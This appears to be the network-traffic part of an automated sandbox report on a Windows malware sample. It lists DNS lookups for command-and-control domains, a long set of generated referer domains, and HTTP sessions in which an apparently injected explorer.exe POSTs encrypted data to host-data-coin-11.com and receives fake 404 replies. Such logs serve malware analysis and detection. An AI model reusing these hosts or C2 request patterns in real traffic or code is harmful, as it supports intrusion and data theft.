Dec 1, 2021 09:14:17.547084093 CET	8.8.8.8	192.168.2.4	0xa2fc	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:17.829583883 CET	8.8.8.8	192.168.2.4	0xf396	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:18.087007999 CET	8.8.8.8	192.168.2.4	0xe60d	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:18.266704082 CET	8.8.8.8	192.168.2.4	0xefba	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:18.823520899 CET	8.8.8.8	192.168.2.4	0x8b16	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:19.821194887 CET	8.8.8.8	192.168.2.4	0xca4b	No error (0)	file-file-host4.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:26.432487965 CET	8.8.8.8	192.168.2.4	0x9ce9	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:26.621478081 CET	8.8.8.8	192.168.2.4	0x83ac	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:26.878792048 CET	8.8.8.8	192.168.2.4	0x1eb9	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.087215900 CET	8.8.8.8	192.168.2.4	0x5e3c	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.370862007 CET	8.8.8.8	192.168.2.4	0x94ce	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.572081089 CET	8.8.8.8	192.168.2.4	0xdf6b	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.848443031 CET	8.8.8.8	192.168.2.4	0x2089	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:28.076781034 CET	8.8.8.8	192.168.2.4	0xb273	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:32.424825907 CET	8.8.8.8	192.168.2.4	0x6232	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:32.704303980 CET	8.8.8.8	192.168.2.4	0xad1f	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:32.957524061 CET	8.8.8.8	192.168.2.4	0xb0c8	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:33.167165041 CET	8.8.8.8	192.168.2.4	0xd15c	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:33.356935978 CET	8.8.8.8	192.168.2.4	0xd2fe	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:33.848562956 CET	8.8.8.8	192.168.2.4	0x336b	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.053011894 CET	8.8.8.8	192.168.2.4	0xc2c5	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.246054888 CET	8.8.8.8	192.168.2.4	0x3bfc	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.494960070 CET	8.8.8.8	192.168.2.4	0x6f04	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.686779022 CET	8.8.8.8	192.168.2.4	0x4d5f	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.874905109 CET	8.8.8.8	192.168.2.4	0xd304	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:22.740073919 CET	8.8.8.8	192.168.2.4	0xd1c4	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:22.740073919 CET	8.8.8.8	192.168.2.4	0xd1c4	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:22.740073919 CET	8.8.8.8	192.168.2.4	0xd1c4	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:22.740073919 CET	8.8.8.8	192.168.2.4	0xd1c4	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:22.740073919 CET	8.8.8.8	192.168.2.4	0xd1c4	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:28.607682943 CET	8.8.8.8	192.168.2.4	0xbb3	No error (0)	qo.ckauni.ru		81.177.141.85	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:32.448966980 CET	8.8.8.8	192.168.2.4	0x1e35	No error (0)	www.google.com		142.250.184.68	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:34.920037985 CET	8.8.8.8	192.168.2.4	0xe8e8	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:38.836749077 CET	8.8.8.8	192.168.2.4	0xe102	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:42.855458975 CET	8.8.8.8	192.168.2.4	0xe293	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:46.783274889 CET	8.8.8.8	192.168.2.4	0xdee9	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

nbriredl.org

host-data-coin-11.com

gqnrsjcd.org

sqdlx.net

ggigae.com

xbbffefnf.net

fhfscvxar.com

host-file-host-3.com

byrobmm.com

xerwbpt.net

xbopjw.org

jucecaeyqu.com

nakeeqwaft.com

pjndoeiyl.org

hmyqurtmv.net

yxndp.net

luuqcbcy.org

pxptimk.com

smfbsrgxse.org

nabmhhv.net

mdyfwsxro.com

kpgguo.net

tevvfr.com

aryonwruu.com

vefoyiify.org

guokyvqq.net

sdcdogt.org

vfrmk.net

tgtmtdosym.net

privacytoolzforyou-7000.com

drrwv.net

rbuyqamdy.net

omxkjxm.net

xigvfc.com

nwqlosscc.net

bkjjovqxmd.org

file-file-host4.com

pborgy.net

hqppgl.org

ybcka.net

buintdmfv.com

slymqhed.org

oamtqaba.net

xuobblxeto.org

clekn.com

jhglqm.org

pnkfchg.org

inflqn.com

obtnplqgwg.com

buxkshswe.org

wjpbjeendw.net

pmhitsi.org

jydujxmpvv.com

xtfcaknrkq.com

mtfpb.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49767	162.159.130.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49832	162.159.130.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49765	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:00.647543907 CET	2433	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xerwbpt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 252 Host: host-data-coin-11.com
Dec 1, 2021 09:14:00.647557974 CET	2433	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 03 a3 91 11 Data Ascii: nIF}0?7XknwmDu$f]dNa4E5LJ2fg]3RT7,I-4W]C%o~]+MCO5[S7f/~JyV~_[k>C54fEEtt[4`OxLb<]_
Dec 1, 2021 09:14:00.754903078 CET	2434	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49766	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:00.844767094 CET	2435	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xbopjw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: host-data-coin-11.com
Dec 1, 2021 09:14:00.844798088 CET	2435	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 45 d6 d9 15 Data Ascii: nIF}0?7XknwmDu$f]dEK`zcA$HLjc6
Dec 1, 2021 09:14:00.950323105 CET	2435	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 50 dd 4b d0 fe 26 85 21 ea a5 90 50 2e e2 be 4d 23 e3 b3 b4 6c fb 9f bc 50 ab 73 93 cb 32 40 5c 3c 0d 4b dd bb 4a be ff 57 99 bd d4 0b 8d 2b 80 cf 0d 0a 30 0d 0a 0d 0a Data Ascii: 65I:82OB%,YR("XPK&!P.M#lPs2@\<KJW+0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49768	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:02.523145914 CET	2846	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jucecaeyqu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 309 Host: host-data-coin-11.com
Dec 1, 2021 09:14:02.523216963 CET	2847	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 98 66 5d 02 c9 a1 c1 64 1e b0 b3 21 Data Ascii: nIF}0?7XknwmDu$f]d!H^y Qhg:Qm]WQ3y;A1fXS%n8;4A.1UHpL7]?heuu'UZ.v?Re]fb`\~Jyr1hu@`>
Dec 1, 2021 09:14:02.620583057 CET	2847	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49769	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:02.711354017 CET	2848	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nakeeqwaft.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 295 Host: host-data-coin-11.com
Dec 1, 2021 09:14:02.711363077 CET	2848	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 58 b4 ba 25 Data Ascii: nIF}0?7XknwmDu$f]dX%C0MJ_f4NjY>W; FhGq0+VmCwiH7MD8Rr\&Io4kC*j0T}y[rilW=.Uf>>yWCT"
Dec 1, 2021 09:14:02.810172081 CET	2849	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49770	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:03.292432070 CET	2850	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pjndoeiyl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 288 Host: host-data-coin-11.com
Dec 1, 2021 09:14:03.292480946 CET	2850	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 18 98 cd 6c Data Ascii: nIF}0?7XknwmDu$f]dlBr-}f-8@u,:-9cR~7YZ1;fAd,vhCPf~@2;}=w.N_lRylWFIJ9)L\Ql.In\|@
Dec 1, 2021 09:14:03.394383907 CET	2851	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49771	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:03.563349962 CET	2852	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmyqurtmv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 254 Host: host-data-coin-11.com
Dec 1, 2021 09:14:03.563394070 CET	2852	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 27 b2 99 17 Data Ascii: nIF}0?7XknwmDu$f]d'Hb1VDrJRQ(!}h~DvS&I3Z9-&S}U^'$(ZG=:VtF&k!*SL`sJxGh)V\|PpBKeJvocH\
Dec 1, 2021 09:14:03.664793015 CET	2853	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49772	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:03.800296068 CET	2854	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yxndp.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: host-data-coin-11.com
Dec 1, 2021 09:14:03.800347090 CET	2854	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 05 a3 88 73 Data Ascii: nIF}0?7XknwmDu$f]dsA\).A`h7% iBU
Dec 1, 2021 09:14:03.903609991 CET	2854	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49773	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
